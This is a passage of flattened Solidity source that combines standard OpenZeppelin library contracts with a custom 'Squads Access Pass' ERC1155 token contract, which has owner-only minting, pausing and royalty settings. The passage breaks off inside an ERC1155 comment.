* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of ERC1155 that adds tracking of total supply per id.
*
* Useful for scenarios where Fungible and Non-fungible tokens have to be
* clearly identified. Note: While a totalSupply of 1 might mean the
* corresponding is an NFT, there is no guarantees that no other token with the
* same id are not going to be minted.
*/
abstract contract ERC1155Supply is ERC1155 {
mapping(uint256 => uint256) private _totalSupply;
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates whether any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return ERC1155Supply.totalSupply(id) > 0;
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
if (from == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] += amounts[i];
}
}
if (to == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] -= amounts[i];
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "./IERC2981Royalties.sol";
import "./ERC2981Base.sol";
/// @custom:security-contact [email protected]
contract PrysmAccessPass is ERC1155, Ownable, Pausable, ERC1155Supply, ERC2981Base {
RoyaltyInfo private _royalties;
string public name = "Squads Access Pass";
string public symbol = "SAP";
constructor() ERC1155("") {
_setRoyalties(msg.sender, 0);
_pause();
}
function setURI(string memory newuri) public onlyOwner {
_setURI(newuri);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function mint(address account, uint256 id, uint256 amount, bytes memory data)
public
onlyOwner
{
bool wasPaused = paused();
if (wasPaused) {
unpause();
}
_mint(account, id, amount, data);
if (wasPaused) {
pause();
}
}
function mintDistribute(address[] memory toAccounts, uint256 id, uint256 amount, bytes memory data)
public
onlyOwner
{
bool wasPaused = paused();
if (wasPaused) {
unpause();
}
for (uint256 i = 0; i < toAccounts.length; ++i) {
_mint(toAccounts[i], id, amount, data);
}
if (wasPaused) {
pause();
}
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
// Value is in basis points so 10000 = 100% , 100 = 1% etc
function _setRoyalties(address recipient, uint256 value) internal {
require(value <= 10000, 'ERC2981Royalties: Too high');
_royalties = RoyaltyInfo(recipient, uint24(value));
}
function setRoyalties(address recipient, uint256 value)
public
onlyOwner
{
_setRoyalties(recipient, value);
}
function royaltyInfo(uint256, uint256 value)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
RoyaltyInfo memory royalties = _royalties;
receiver = royalties.recipient;
royaltyAmount = (value * royalties.amount) / 10000;
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, ERC2981Base)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
